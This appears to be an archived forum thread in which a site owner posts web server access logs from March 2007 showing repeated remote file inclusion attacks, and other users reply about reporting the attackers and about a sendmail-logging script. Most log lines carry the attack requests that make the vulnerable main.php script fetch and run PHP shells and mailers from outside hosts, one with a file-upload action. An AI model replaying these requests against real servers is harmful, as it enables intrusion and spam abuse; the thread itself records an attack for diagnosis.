41.204.224.10 - - [13/Mar/2007:03:57:54 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 15769 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:04:27:39 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 16404 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:04:27:39 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 15318 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:04:27:39 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 15318 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
210.2.158.116 - - [13/Mar/2007:04:49:28 -0600] "POST /main.php?c=http://www.altersdiskriminierung.de/inc/m.jpg? HTTP/1.1" 200 8404 "http://www.mydomain.com/main.php?c=http://www.altersdiskriminierung.de/inc/m.jpg?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2"
67.151.233.29 - - [13/Mar/2007:04:51:41 -0600] "POST /main.php?c=http://ca.geocities.com/alikay1986/alikay50.txt? HTTP/1.1" 200 9567 "http://www.mydomain.com/main.php?c=http://ca.geocities.com/alikay1986/alikay50.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2"
67.151.233.29 - - [13/Mar/2007:05:12:29 -0600] "POST /main.php?c=http://ca.geocities.com/alikay1986/alikay50.txt? HTTP/1.1" 200 24132 "http://www.mydomain.com/main.php?c=http://ca.geocities.com/alikay1986/alikay50.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2"
67.151.233.29 - - [13/Mar/2007:05:19:48 -0600] "POST /main.php?c=http://ca.geocities.com/alikay1986/alikay50.txt? HTTP/1.1" 200 22410 "http://www.mydomain.com/main.php?c=http://ca.geocities.com/alikay1986/alikay50.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2"
67.151.233.29 - - [13/Mar/2007:05:28:26 -0600] "POST /main.php?c=http://ca.geocities.com/alikay1986/alikay50.txt? HTTP/1.1" 200 31412 "http://www.mydomain.com/main.php?c=http://ca.geocities.com/alikay1986/alikay50.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2"
67.151.233.29 - - [13/Mar/2007:05:33:40 -0600] "POST /main.php?c=http://ca.geocities.com/alikay1986/alikay50.txt? HTTP/1.1" 200 31896 "http://www.mydomain.com/main.php?c=http://ca.geocities.com/alikay1986/alikay50.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2"
210.2.158.116 - - [13/Mar/2007:05:44:13 -0600] "POST /main.php?c=http://www.altersdiskriminierung.de/inc/mos.jpg?http://virtual.uarg.unpa.edu.ar/myftp/list.txt?&action=upload&chdir=/home/virtual/site1/fst/var/www/html/ HTTP/1.1" 200 62905 "http://www.mydomain.com/main.php?c=http://www.altersdiskriminierung.de/inc/mos.jpg?http://virtual.uarg.unpa.edu.ar/myftp/list.txt?&chdir=/home/virtual/site1/fst/var/www/html/" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2"
67.151.233.29 - - [13/Mar/2007:05:56:23 -0600] "POST /main.php?c=http://ca.geocities.com/alikay1986/alikay50.txt? HTTP/1.1" 200 36142 "http://www.mydomain.com/main.php?c=http://ca.geocities.com/alikay1986/alikay50.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2"
196.3.63.252 - - [13/Mar/2007:06:10:46 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 59693 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [13/Mar/2007:06:10:39 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 52764 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
67.151.233.29 - - [13/Mar/2007:06:11:53 -0600] "POST /main.php?c=http://ca.geocities.com/alikay1986/alikay50.txt? HTTP/1.1" 200 16709 "http://www.mydomain.com/main.php?c=http://ca.geocities.com/alikay1986/alikay50.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2"
67.151.233.29 - - [13/Mar/2007:06:13:31 -0600] "POST /main.php?c=http://ca.geocities.com/alikay1986/alikay50.txt? HTTP/1.1" 200 28861 "http://www.mydomain.com/main.php?c=http://ca.geocities.com/alikay1986/alikay50.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2"
80.88.142.214 - - [13/Mar/2007:06:24:46 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.0" 200 13610 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
80.88.142.214 - - [13/Mar/2007:06:26:32 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.0" 200 13052 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
67.151.233.29 - - [13/Mar/2007:06:32:59 -0600] "POST /main.php?c=http://ca.geocities.com/alikay1986/alikay50.txt? HTTP/1.1" 200 23521 "http://www.mydomain.com/main.php?c=http://ca.geocities.com/alikay1986/alikay50.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2"
67.151.233.29 - - [13/Mar/2007:06:54:37 -0600] "POST /main.php?c=http://ca.geocities.com/alikay1986/alikay50.txt? HTTP/1.1" 200 29409 "http://www.mydomain.com/main.php?c=http://ca.geocities.com/alikay1986/alikay50.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2"
67.151.233.29 - - [13/Mar/2007:07:06:42 -0600] "POST /main.php?c=http://ca.geocities.com/alikay1986/alikay50.txt? HTTP/1.1" 200 31705 "http://www.mydomain.com/main.php?c=http://ca.geocities.com/alikay1986/alikay50.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2"
196.3.63.252 - - [13/Mar/2007:06:31:20 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 128182 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [13/Mar/2007:06:33:30 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 153664 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [13/Mar/2007:06:28:41 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 164689 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [13/Mar/2007:06:31:18 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 131722 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [13/Mar/2007:06:28:47 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 150343 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
80.88.142.214 - - [13/Mar/2007:07:27:55 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.0" 200 16509 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
196.3.63.252 - - [13/Mar/2007:10:37:13 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 87527 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [13/Mar/2007:10:33:38 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 127919 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [13/Mar/2007:10:32:13 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 118146 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [13/Mar/2007:10:31:55 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 200 121423 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
41.204.224.10 - - [13/Mar/2007:11:42:07 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 21633 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
41.204.224.10 - - [13/Mar/2007:11:46:17 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 22040 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
41.204.224.10 - - [13/Mar/2007:11:52:38 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 21973 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
41.204.224.10 - - [13/Mar/2007:11:56:31 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 15792 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
41.204.224.10 - - [13/Mar/2007:12:00:17 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 21742 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
41.204.224.10 - - [13/Mar/2007:11:59:46 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 24000 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:12:03:01 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 22514 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:12:06:05 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 21621 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
41.204.224.10 - - [13/Mar/2007:12:08:15 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 22025 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
41.204.224.10 - - [13/Mar/2007:12:07:52 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 29018 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:12:14:07 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 22025 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
196.3.63.252 - - [13/Mar/2007:14:59:23 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 400 313 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
196.3.63.252 - - [13/Mar/2007:14:59:07 -0600] "POST /main.php?c=http://medicalcenter.com.tr/say.txt? HTTP/1.1" 400 313 "http://www.mydomain.com/main.php?c=http://medicalcenter.com.tr/say.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10"
213.181.87.140 - - [13/Mar/2007:18:17:28 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.0" 200 22268 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
213.181.87.140 - - [13/Mar/2007:18:20:13 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.0" 200 21914 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
213.181.87.140 - - [13/Mar/2007:18:33:29 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.0" 200 14359 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
41.204.224.10 - - [13/Mar/2007:20:11:29 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 12937 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:20:12:27 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 12937 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:20:16:47 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 12936 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:20:19:34 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 12944 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:20:21:09 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 12944 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:20:27:06 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 13031 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:20:28:43 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 12481 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:20:47:47 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 12480 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:20:54:56 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 13593 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:20:58:50 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 13600 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
41.204.224.10 - - [13/Mar/2007:21:01:01 -0600] "POST /main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd HTTP/1.1" 200 13314 "http://www.mydomain.com/main.php?c=http://pim.radiopopular.pt/twig//features/documentos/Mailer.txt?cmd" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"

James Jhurani

Mar 18 2007, 12:23 AM

Glad to see you found the problem! make sure and email those logs to the isp of the attacker!

acider

Apr 3 2007, 11:44 PM

QUOTE (Danny Tran @ Mar 14 2007, 12:04 PM)

...I followed The Planet's suggestion and created a script to take the place of sendmail that would put into a file called formmail.log all sendmail activity. It showed the directory location of the php script that was invoking sendmail.....

Awesome! how do u make the script to take place of sendmail?

ElfinStrider

Oct 16 2008, 06:21 PM

agreed, we'd love to see that script that helped you through.

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.